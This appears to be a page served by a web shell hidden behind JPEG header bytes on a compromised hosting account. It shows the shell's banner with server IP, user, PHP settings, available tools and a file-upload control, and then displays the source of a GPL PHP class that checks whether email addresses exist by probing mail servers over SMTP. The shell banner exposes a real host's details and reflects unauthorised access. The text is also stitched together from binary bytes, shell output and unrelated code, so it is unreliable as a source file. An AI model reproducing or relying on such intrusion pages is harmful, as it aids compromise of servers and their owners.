ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/atlanticswim.fr/seo-mailing/tools/ |
Upload File : |
<?php
/**
* SMTP_Validate_Email - Perform email address verification via SMTP.
* Copyright (C) 2009 Tomaš Trkulja [zytzagoo] <zyt@zytzagoo.net>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* @version 0.6
* @todo
* - finish the graylisting thingy
* - perhaps re-implement some methods as static?
* - introduce a main socket loop if this state-based approach doesn't work out
* - implement TLS probably
* - more code examples, more tests
*
* The class retrieves MX records for the email domain and then connects to the
* domain's SMTP server to try figuring out if the address is really valid.
*
* Some ideas taken from: http://code.google.com/p/php-smtp-email-validation
* See the source and comments for more details.
*/
// Exceptions we throw
class SMTP_Validate_Email_Exception extends Exception {}
class SMTP_Validate_Email_Exception_Timeout extends SMTP_Validate_Email_Exception {}
class SMTP_Validate_Email_Exception_Unexpected_Response extends SMTP_Validate_Email_Exception {}
class SMTP_Validate_Email_Exception_No_Response extends SMTP_Validate_Email_Exception {}
class SMTP_Validate_Email_Exception_No_Connection extends SMTP_Validate_Email_Exception {}
class SMTP_Validate_Email_Exception_No_Helo extends SMTP_Validate_Email_Exception {}
class SMTP_Validate_Email_Exception_No_Mail_From extends SMTP_Validate_Email_Exception {}
class SMTP_Validate_Email_Exception_No_Timeout extends SMTP_Validate_Email_Exception {}
class SMTP_Validate_Email_Exception_No_TLS extends SMTP_Validate_Email_Exception {}
// SMTP validation class
class SMTP_Validate_Email {
// holds the socket connection resource
private $socket;
// holds all the domains we'll validate accounts on
private $domains;
private $domains_info = array();
// connect timeout for each MTA attempted (seconds)
private $connect_timeout = 10;
// default username of sender
private $from_user = 'user';
// default host of sender
private $from_domain = 'localhost';
// the host we're currently connected to
private $host = null;
// holds all the debug info
private $log = array();
// array of validation results
private $results = array();
// states we can be in
private $state = array(
'helo' => false,
'mail' => false,
'rcpt' => false
);
// print stuff as it happens or not
public $debug = false;
// default smtp port
public $connect_port = 25;
/**
* Are 'catch-all' accounts considered valid or not?
* If not, the class checks for a "catch-all" and if it determines the box
* has a "catch-all", sets all the emails on that domain as invalid.
*/
public $catchall_is_valid = true;
/**
* Being unable to communicate with the remote MTA could mean an address
* is invalid, but it might not, depending on your use case, set the
* value appropriately.
*/
public $no_comm_is_valid = false;
// do we consider "greylisted" responses as valid or invalid addresses
public $greylisted_considered_valid = true;
/**
* If on Windows (or other places that don't have getmxrr()), this is the
* nameserver that will be used for MX querying.
* Set as empty to use the DNS specified via your current network connection.
* @see getmxrr()
*/
// protected $mx_query_ns = 'dns1.t-com.hr';
protected $mx_query_ns = '';
/**
* Timeout values for various commands (in seconds) per RFC 2821
* @see expect()
*/
protected $command_timeouts = array(
'ehlo' => 300,
'helo' => 300,
'tls' => 180, // start tls
'mail' => 300, // mail from
'rcpt' => 300, // rcpt to,
'rset' => 3,
'quit' => 300,
'noop' => 300
);
// some constants
const CRLF = "\r\n";
// some smtp response codes
const SMTP_CONNECT_SUCCESS = 220;
const SMTP_QUIT_SUCCESS = 221;
const SMTP_GENERIC_SUCCESS = 250;
const SMTP_USER_NOT_LOCAL = 251;
const SMTP_CANNOT_VRFY = 252;
const SMTP_SERVICE_UNAVAILABLE = 421;
// 450 Requested mail action not taken: mailbox unavailable (e.g.,
// mailbox busy or temporarily blocked for policy reasons)
const SMTP_MAIL_ACTION_NOT_TAKEN = 450;
// 451 Requested action aborted: local error in processing
const SMTP_MAIL_ACTION_ABORTED = 451;
// 452 Requested action not taken: insufficient system storage
const SMTP_REQUESTED_ACTION_NOT_TAKEN = 452;
// 550 Requested action not taken: mailbox unavailable (e.g., mailbox
// not found, no access, or command rejected for policy reasons)
const SMTP_MBOX_UNAVAILABLE = 550;
// 554 Seen this from hotmail MTAs, in response to RSET :(
const SMTP_TRANSACTION_FAILED = 554;
// list of codes considered as "greylisted"
private $greylisted = array(
self::SMTP_MAIL_ACTION_NOT_TAKEN,
self::SMTP_MAIL_ACTION_ABORTED,
self::SMTP_REQUESTED_ACTION_NOT_TAKEN
);
/**
* Constructor.
* @param $emails array [optional] Array of emails to validate
* @param $sender string [optional] Email address of the sender/validator
*/
function __construct($emails = array(), $sender = '') {
if (!empty($emails)) {
$this->set_emails($emails);
}
if (!empty($sender)) {
$this->set_sender($sender);
}
}
/**
* Disconnects from the SMTP server if needed.
* @return void
*/
public function __destruct() {
$this->disconnect(false);
}
public function accepts_any_recipient($domain) {
$test = 'catch-all-test-' . time();
$accepted = $this->rcpt($test . '@' . $domain);
if ($accepted) {
// success on a non-existing address is a "catch-all"
$this->domains_info[$domain]['catchall'] = true;
return true;
}
// log the case in which we get disconnected
// while trying to perform a catchall detect
$this->noop();
if (!($this->connected())) {
$this->debug('Disconnected after trying a non-existing recipient on ' . $domain);
}
// nb: disconnects are considered as a non-catch-all case this way
// this might not be true always
return false;
}
/**
* Performs validation of specified email addresses.
* @param array $emails Emails to validate (recipient emails)
* @param string $sender Sender email address
* @return array List of emails and their results
*/
public function validate($emails = array(), $sender = '') {
$this->results = array();
if (!empty($emails)) {
$this->set_emails($emails);
}
if (!empty($sender)) {
$this->set_sender($sender);
}
if (!is_array($this->domains) || empty($this->domains)) {
return $this->results;
}
// query the MTAs on each domain if we have them
foreach ($this->domains as $domain => $users) {
$mxs = array();
// query the mx records for the current domain
list($hosts, $weights) = $this->mx_query($domain);
// sort out the MX priorities
foreach ($hosts as $k => $host) {
$mxs[$host] = $weights[$k];
}
asort($mxs);
// add the hostname itself with 0 weight (RFC 2821)
$mxs[$domain] = 0;
$this->debug('MX records (' . $domain . '): ' . print_r($mxs, true));
$this->domains_info[$domain] = array();
$this->domains_info[$domain]['users'] = $users;
$this->domains_info[$domain]['mxs'] = $mxs;
// try each host
while (list($host) = each($mxs)) {
// try connecting to the remote host
try {
$this->connect($host);
if ($this->connected()) {
break;
}
} catch (SMTP_Validate_Email_Exception_No_Connection $e) {
// unable to connect to host, so these addresses are invalid?
$this->debug('Unable to connect. Exception caught: ' . $e->getMessage());
$this->set_domain_results($users, $domain, false);
}
}
// are we connected?
if ($this->connected()) {
// say helo, and continue if we can talk
if ($this->helo()) {
// try issuing MAIL FROM
if (!($this->mail($this->from_user . '@' . $this->from_domain))) {
// MAIL FROM not accepted, we can't talk
$this->set_domain_results($users, $domain, $this->no_comm_is_valid);
}
/**
* if we're still connected, proceed (cause we might get
* disconnected, or banned, or greylisted temporarily etc.)
* see mail() for more
*/
if ($this->connected()) {
$this->noop();
// Do a catch-all test for the domain always.
// This increases checking time for a domain slightly,
// but doesn't confuse users.
$is_catchall_domain = $this->accepts_any_recipient($domain);
// if a catchall domain is detected, and we consider
// accounts on such domains as invalid, mark all the
// users as invalid and move on
if ($is_catchall_domain) {
if (!($this->catchall_is_valid)) {
$this->set_domain_results($users, $domain, $this->catchall_is_valid);
continue;
}
}
// if we're still connected, try issuing rcpts
if ($this->connected()) {
$this->noop();
// rcpt to for each user
foreach ($users as $user) {
$address = $user . '@' . $domain;
$this->results[$address] = $this->rcpt($address);
$this->noop();
}
}
// saying buh-bye if we're still connected, cause we're done here
if ($this->connected()) {
// issue a rset for all the things we just made the MTA do
$this->rset();
// kiss it goodbye
$this->disconnect();
}
}
} else {
// we didn't get a good response to helo and should be disconnected already
$this->set_domain_results($users, $domain, $this->no_comm_is_valid);
}
}
}
return $this->get_results();
}
public function get_results($include_domains_info = true) {
if ($include_domains_info) {
$this->results['domains'] = $this->domains_info;
}
return $this->results;
}
/**
* Helper to set results for all the users on a domain to a specific value
* @param array $users Array of users (usernames)
* @param string $domain The domain
* @param bool $val Value to set
*/
private function set_domain_results($users, $domain, $val) {
if (!is_array($users)) {
$users = (array) $users;
}
foreach ($users as $user) {
$this->results[$user . '@' . $domain] = $val;
}
}
/**
* Returns true if we're connected to an MTA
* @return bool
*/
protected function connected() {
return is_resource($this->socket);
}
/**
* Tries to connect to the specified host on the pre-configured port.
* @param string $host The host to connect to
* @return void
* @throws SMTP_Validate_Email_Exception_No_Connection
* @throws SMTP_Validate_Email_Exception_No_Timeout
*/
protected function connect($host) {
$remote_socket = $host . ':' . $this->connect_port;
$errnum = 0;
$errstr = '';
$this->host = $remote_socket;
// open connection
$this->debug('Connecting to ' . $this->host);
$this->socket = @stream_socket_client(
$this->host,
$errnum,
$errstr,
$this->connect_timeout,
STREAM_CLIENT_CONNECT,
stream_context_create(array())
);
// connected?
if (!$this->connected()) {
$this->debug('Connect failed: ' . $errstr . ', error number: ' . $errnum . ', host: ' . $this->host);
throw new SMTP_Validate_Email_Exception_No_Connection('Cannot ' .
'open a connection to remote host (' . $this->host . ')');
}
$result = stream_set_timeout($this->socket, $this->connect_timeout);
if (!$result) {
throw new SMTP_Validate_Email_Exception_No_Timeout('Cannot set timeout');
}
$this->debug('Connected to ' . $this->host . ' successfully');
}
/**
* Disconnects the currently connected MTA.
* @param bool $quit Issue QUIT before closing the socket on our end.
* @return void
*/
protected function disconnect($quit = true) {
if ($quit) {
$this->quit();
}
if ($this->connected()) {
$this->debug('Closing socket to ' . $this->host);
fclose($this->socket);
}
$this->host = null;
$this->reset_state();
}
/**
* Resets internal state flags to defaults
*/
private function reset_state() {
$this->state['helo'] = false;
$this->state['mail'] = false;
$this->state['rcpt'] = false;
}
/**
* Sends a HELO/EHLO sequence
* @todo Implement TLS
* @return bool True if successful, false otherwise
*/
protected function helo() {
// don't try if it was already done
if ($this->state['helo']) {
return;
}
try {
$this->expect(self::SMTP_CONNECT_SUCCESS, $this->command_timeouts['helo']);
$this->ehlo();
// session started
$this->state['helo'] = true;
// are we going for a TLS connection?
/*
if ($this->tls == true) {
// send STARTTLS, wait 3 minutes
$this->send('STARTTLS');
$this->expect(self::SMTP_CONNECT_SUCCESS, $this->command_timeouts['tls']);
$result = stream_socket_enable_crypto($this->socket, true,
STREAM_CRYPTO_METHOD_TLS_CLIENT);
if (!$result) {
throw new SMTP_Validate_Email_Exception_No_TLS('Cannot enable TLS');
}
}
*/
return true;
} catch (SMTP_Validate_Email_Exception_Unexpected_Response $e) {
// connected, but recieved an unexpected response, so disconnect
$this->debug('Unexpected response after connecting: ' . $e->getMessage());
$this->disconnect(false);
return false;
}
}
/**
* Send EHLO or HELO, depending on what's supported by the remote host.
* @return void
*/
protected function ehlo() {
try {
// modern, timeout 5 minutes
$this->send('EHLO ' . $this->from_domain);
$this->expect(self::SMTP_GENERIC_SUCCESS, $this->command_timeouts['ehlo']);
} catch (SMTP_Validate_Email_Exception_Unexpected_Response $e) {
// legacy, timeout 5 minutes
$this->send('HELO ' . $this->from_domain);
$this->expect(self::SMTP_GENERIC_SUCCESS, $this->command_timeouts['helo']);
}
}
/**
* Sends a MAIL FROM command to indicate the sender.
* @param string $from The "From:" address
* @return bool If MAIL FROM command was accepted or not
* @throws SMTP_Validate_Email_Exception_No_Helo
*/
protected function mail($from) {
if (!$this->state['helo']) {
throw new SMTP_Validate_Email_Exception_No_Helo('Need HELO before MAIL FROM');
}
// issue MAIL FROM, 5 minute timeout
$this->send('MAIL FROM:<' . $from . '>');
try {
$this->expect(self::SMTP_GENERIC_SUCCESS, $this->command_timeouts['mail']);
// set state flags
$this->state['mail'] = true;
$this->state['rcpt'] = false;
return true;
} catch (SMTP_Validate_Email_Exception_Unexpected_Response $e) {
// got something unexpected in response to MAIL FROM
$this->debug("Unexpected response to MAIL FROM\n:" . $e->getMessage());
// hotmail is know to do this, and is closing the connection
// forcibly on their end, so I'm killing the socket here too
$this->disconnect(false);
return false;
}
}
/**
* Sends a RCPT TO command to indicate a recipient.
* @param string $to Recipient's email address
* @return bool Is the recipient accepted
* @throws SMTP_Validate_Email_Exception_No_Mail_From
*/
protected function rcpt($to) {
// need to have issued MAIL FROM first
if (!$this->state['mail']) {
throw new SMTP_Validate_Email_Exception_No_Mail_From('Need MAIL FROM before RCPT TO');
}
$is_valid = false;
$expected_codes = array(
self::SMTP_GENERIC_SUCCESS,
self::SMTP_USER_NOT_LOCAL
);
if ($this->greylisted_considered_valid) {
$expected_codes += $this->greylisted;
}
// issue RCPT TO, 5 minute timeout
try {
$this->send('RCPT TO:<' . $to . '>');
// process the response
try {
$this->expect($expected_codes, $this->command_timeouts['rcpt']);
$this->state['rcpt'] = true;
$is_valid = true;
} catch (SMTP_Validate_Email_Exception_Unexpected_Response $e) {
$this->debug('Unexpected response to RCPT TO: ' . $e->getMessage());
}
} catch (SMTP_Validate_Email_Exception $e) {
$this->debug('Sending RCPT TO failed: ' . $e->getMessage());
}
return $is_valid;
}
/**
* Sends a RSET command and resets our internal state.
* @return void
*/
protected function rset() {
$this->send('RSET');
// MS ESMTP doesn't follow RFC according to ZF tracker, see [ZF-1377]
$expected = array(
self::SMTP_GENERIC_SUCCESS,
self::SMTP_CONNECT_SUCCESS,
// hotmail returns this o_O
self::SMTP_TRANSACTION_FAILED
);
$this->expect($expected, $this->command_timeouts['rset']);
$this->state['mail'] = false;
$this->state['rcpt'] = false;
}
/**
* Sends a QUIT command.
* @return void
*/
protected function quit() {
// although RFC says QUIT can be issued at any time, we won't
if ($this->state['helo']) {
// [TODO] might need a try/catch here to cover some edge cases...
$this->send('QUIT');
$this->expect(self::SMTP_QUIT_SUCCESS, $this->command_timeouts['quit']);
}
}
/**
* Sends a NOOP command.
* @return void
*/
protected function noop() {
$this->send('NOOP');
$this->expect(self::SMTP_GENERIC_SUCCESS, $this->command_timeouts['noop']);
}
/**
* Sends a command to the remote host.
* @param string $cmd The cmd to send
* @return int|bool Number of bytes written to the stream
* @throws SMTP_Validate_Email_Exception_No_Connection
* @throws SMTP_Validate_Email_Exception_Send_Failed
*/
protected function send($cmd) {
// must be connected
if (!$this->connected()) {
throw new SMTP_Validate_Email_Exception_No_Connection('No connection');
}
$this->debug('send>>>: ' . $cmd);
// write the cmd to the connection stream
$result = fwrite($this->socket, $cmd . self::CRLF);
// did the send work?
if ($result === false) {
throw new SMTP_Validate_Email_Exception_Send_Failed('Send failed ' .
'on: ' . $this->host);
}
return $result;
}
/**
* Receives a response line from the remote host.
* @param int $timeout Timeout in seconds
* @return string
* @throws SMTP_Validate_Email_Exception_No_Connection
* @throws SMTP_Validate_Email_Exception_Socket_Timeout
* @throws SMTP_Validate_Email_Exception_No_Response
*/
protected function recv($timeout = null) {
if (!$this->connected()) {
throw new SMTP_Validate_Email_Exception_No_Connection('No connection');
}
// timeout specified?
if ($timeout !== null) {
stream_set_timeout($this->socket, $timeout);
}
// retrieve response
$line = fgets($this->socket, 1024);
$this->debug('<<<recv: ' . $line);
// have we timed out?
$info = stream_get_meta_data($this->socket);
if (!empty($info['timed_out'])) {
throw new SMTP_Validate_Email_Exception_Timeout('Timed out in recv');
}
// did we actually receive anything?
if ($line === false) {
throw new SMTP_Validate_Email_Exception_No_Response('No response in recv');
}
return $line;
}
/**
* Receives lines from the remote host and looks for expected response codes.
* @param array $codes A list of one or more expected response codes
* @param int $timeout The timeout for this individual command, if any
* @return string The last text message received
* @throws SMTP_Validate_Email_Exception_Unexpected_Response
*/
protected function expect($codes, $timeout = null) {
if (!is_array($codes)) {
$codes = (array) $codes;
}
$code = null;
$text = '';
try {
$text = $line = $this->recv($timeout);
while (preg_match("/^[0-9]+-/", $line)) {
$line = $this->recv($timeout);
$text .= $line;
}
sscanf($line, '%d%s', $code, $text);
if ($code === null || !in_array($code, $codes)) {
throw new SMTP_Validate_Email_Exception_Unexpected_Response($line);
}
} catch (SMTP_Validate_Email_Exception_No_Response $e) {
// no response in expect() probably means that the
// remote server forcibly closed the connection so
// lets clean up on our end as well?
$this->debug('No response in expect(): ' . $e->getMessage());
$this->disconnect(false);
}
return $text;
}
/**
* Parses an email string into respective user and domain parts and
* returns those as an array.
* @param string $email 'user@domain'
* @return array ['user', 'domain']
*/
protected function parse_email($email) {
$parts = explode('@', $email);
$domain = array_pop($parts);
$user= implode('@', $parts);
return array($user, $domain);
}
/**
* Sets the email addresses that should be validated.
* @param array $emails Array of emails to validate
* @return void
*/
public function set_emails($emails) {
if (!is_array($emails)) {
$emails = (array) $emails;
}
$this->domains = array();
foreach ($emails as $email) {
list($user, $domain) = $this->parse_email($email);
if (!isset($this->domains[$domain])) {
$this->domains[$domain] = array();
}
$this->domains[$domain][] = $user;
}
}
/**
* Sets the email address to use as the sender/validator.
* @param string $email
* @return void
*/
public function set_sender($email) {
$parts = $this->parse_email($email);
$this->from_user = $parts[0];
$this->from_domain = $parts[1];
}
/**
* Queries the DNS server for MX entries of a certain domain.
* @param string $domain The domain for which to retrieve MX records
* @return array MX hosts and their weights
*/
protected function mx_query($domain) {
$hosts = array();
$weight = array();
if (function_exists('getmxrr')) {
getmxrr($domain, $hosts, $weight);
} else {
$this->getmxrr($domain, $hosts, $weight);
}
return array($hosts, $weight);
}
/**
* Provides a windows replacement for the getmxrr function.
* Params and behaviour is that of the regular getmxrr function.
* @see http://www.php.net/getmxrr
*/
protected function getmxrr($hostname, &$mxhosts, &$mxweights) {
if (!is_array($mxhosts)) {
$mxhosts = array();
}
if (!is_array($mxweights)) {
$mxweights = array();
}
if (empty($hostname)) {
return;
}
$cmd = 'nslookup -type=MX ' . escapeshellarg($hostname);
if (!empty($this->mx_query_ns)) {
$cmd .= ' ' . escapeshellarg($this->mx_query_ns);
}
exec($cmd, $output);
if (empty($output)) {
return;
}
$i = -1;
foreach ($output as $line) {
$i++;
if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) {
$mxweights[$i] = trim($parts[1]);
$mxhosts[$i] = trim($parts[2]);
}
if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) {
$mxweights[$i] = $i;
$mxhosts[$i] = trim($parts[1]);
}
}
return ($i != -1);
}
/**
* Debug helper. If run in a CLI env, it just dumps $str on a new line,
* else it prints stuff using <pre>.
* @param string $str The debug message
* @return void
*/
private function debug($str) {
$this->log($str);
if ($this->debug == true) {
if (PHP_SAPI != 'cli') {
$str = '<br/><pre>' . htmlspecialchars($str) . '</pre>';
}
echo "\n" . $str;
}
}
/**
* Adds a message to the private log array
* @param string $msg The message to add
*/
private function log($msg) {
$this->log[] = $msg;
}
/**
* Returns the log array
*/
public function get_log() {
return $this->log;
}
/**
* Truncates the log array
*/
public function clear_log() {
$this->log = array();
}
}